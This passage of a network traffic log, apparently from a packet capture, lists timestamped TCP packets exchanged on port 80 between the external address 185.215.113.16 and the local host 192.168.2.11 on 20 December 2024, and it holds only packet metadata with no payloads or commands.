Dec 20, 2024 16:20:34.479353905 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.479434013 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.479502916 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.479551077 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.480489969 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.480565071 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.480623960 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.481611967 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.481710911 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.482753038 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.482891083 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.483057022 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.483102083 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.483833075 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.484055042 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.484406948 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.484904051 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.485270977 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.486030102 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.486156940 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.486665964 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.486772060 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.487124920 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.487782001 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.488244057 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.488302946 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.622965097 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.623065948 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.623123884 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.623513937 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.624696970 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.624710083 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.624830008 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.624829054 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.624960899 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.625761032 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.625962973 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.626317978 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.626849890 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.627294064 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.627419949 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.628093004 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.628341913 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.628417969 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.629103899 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.629245996 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.629307985 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.630250931 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.630419970 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.630477905 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.631407976 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.631588936 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.632390022 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.632567883 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.632725000 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.632831097 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.633671999 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.633802891 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.633950949 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.634560108 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.634735107 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.634833097 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.635734081 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.635746956 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.635799885 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.636781931 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.637192011 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.637873888 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.637927055 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.638552904 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.638631105 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.638997078 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.639271021 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.640172958 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.640239954 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.640446901 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.640758038 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.641201019 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.641304016 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.641485929 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.642246962 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.642641068 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.642755032 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.643403053 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.643683910 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.643727064 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.644540071 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.644768000 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.645781040 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.645831108 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.645909071 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.645961046 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.646981955 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.647155046 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.648129940 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.648190022 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.648222923 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.648277044 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.649168015 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.649394035 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.649481058 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.650146961 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.650248051 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.651207924 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.651281118 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.651292086 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.651329994 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.652225018 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.652349949 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.653403044 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.653455019 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.653477907 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.653579950 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.654431105 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.654850006 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.655520916 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.655616999 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.655872107 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.655972004 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.656723022 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.656965971 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.657052994 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.657711983 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.657840967 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.658814907 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.658890963 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.658967018 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.659054041 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.659913063 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.660022974 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.660402060 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.660994053 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.661348104 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.661798954 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.662137032 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.662302017 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.662353039 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.663222075 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.663594007 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.664370060 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.664383888 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.664407969 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.664474964 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.665520906 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.665971041 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.666517973 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.666577101 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.666790962 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.666858912 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.667716026 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.668114901 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.668382883 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.668750048 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.669208050 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.670018911 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.670078993 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.670420885 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.670500994 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.670958996 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.671251059 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.672096014 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.672183037 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.672204971 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.672302008 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.673182011 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.673422098 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.673485994 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.674263000 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.674575090 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.675478935 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.675560951 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.675590038 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.675628901 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.676470995 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.676729918 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.676806927 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.677548885 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.677731037 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.678693056 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.678756952 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.678955078 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.679011106 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.679749966 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.679991007 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.680408001 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.680843115 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.728188038 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.815066099 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.815188885 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.815331936 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.815480947 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.815785885 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.815862894 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.815869093 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.816834927 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.816936016 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.816939116 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.817915916 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.817989111 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.818120003 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.819093943 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.819168091 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.819298029 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.820131063 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.820233107 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.820417881 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.821233988 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.821248055 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.821502924 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.822364092 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.822443008 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.822685957 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.823462963 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.823476076 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.823537111 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.824512005 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.824584007 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.824841976 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.825588942 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.825700998 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.825719118 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.826868057 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.826958895 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.827088118 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.827861071 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.828001976 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.828131914 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.828949928 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.829025030 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.829061985 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.830024004 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.830087900 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.830310106 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.831106901 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.831238985 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.831573009 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.832256079 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.832344055 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.832568884 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.833342075 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.833400011 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.833460093 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.834403038 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.834475994 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.834537983 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.835570097 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.835685015 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.835850954 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.836703062 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.836767912 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.836982965 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.837750912 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.837824106 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.838080883 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.838952065 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.839005947 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.839345932 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.840025902 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.840078115 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.840167046 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.841084003 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.841150045 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.841551065 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.842124939 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.842192888 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.842271090 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.843331099 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.843410969 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.843588114 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.844507933 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.844610929 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.844693899 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.845509052 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.845612049 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.845911980 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.846585989 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.846636057 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.846681118 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.847733974 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.847819090 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.848191977 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.848813057 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.848865986 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.848989964 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.850227118 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.850281000 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.850369930 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.850944996 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.851010084 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.851252079 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.853565931 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.853583097 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.853595972 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.853629112 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.853678942 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.853893995 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.854413986 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.854516983 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.854870081 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.855570078 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.855626106 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.855894089 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.856534958 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.856587887 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.856610060 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.857572079 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.857650042 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.857829094 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.858696938 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.858761072 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.858870029 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.859848022 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.859925032 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.859976053 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.860914946 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.860994101 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.861191988 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.862015009 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.862142086 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.862165928 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.863245010 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.863301039 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.863456011 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.864217043 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.864294052 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.864394903 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.865281105 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.865334034 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.865472078 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.866463900 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.866604090 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.866660118 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.867590904 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.867744923 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.867758036 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.868593931 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.868679047 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.868746996 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.869786024 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.869833946 CET	49717	80	192.168.2.11	185.215.113.16
